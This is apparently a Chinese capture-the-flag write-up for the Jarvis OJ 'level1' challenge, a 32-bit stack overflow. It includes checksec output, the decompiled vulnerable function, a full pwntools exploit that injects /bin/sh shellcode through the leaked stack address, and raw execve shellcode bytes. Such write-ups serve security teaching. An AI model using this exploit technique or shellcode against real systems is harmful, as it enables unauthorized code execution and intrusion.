Jarvis OJ level1

本文介绍了一个32位程序中的栈溢出漏洞,并详细解释了如何利用此漏洞进行攻击。通过分析程序的保护机制,演示了如何获取栈地址、构造payload并最终实现shellcode的执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

liu@liu-F117-F:~/桌面/oj/level1$ checksec level1
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

所有保护全部关闭。是32位的程序
用ida打开

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

输入限制为0x100堆栈长度为0x88可以覆盖返回地址,典型的栈溢出模型
没有NX保护,可以直接执行shellcode
用pwntools提供的函数直接生成
asm(shellcraft.sh())。还有一点是这里用的是%p输出的,我们接收到的stack_addr是一个字符串,我们需要转化成10整形才能用p32来打包。
int(“str”,16)把字符串当成16进制数转化为整形。
粘出exp

from pwn import *




context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)

p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()

导入shellcode 需要:没有NX保护,需要获取到栈的起始地址。
粘出一段linux 32为系统下的system(“//bin/sh”)的生成的shellcode

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值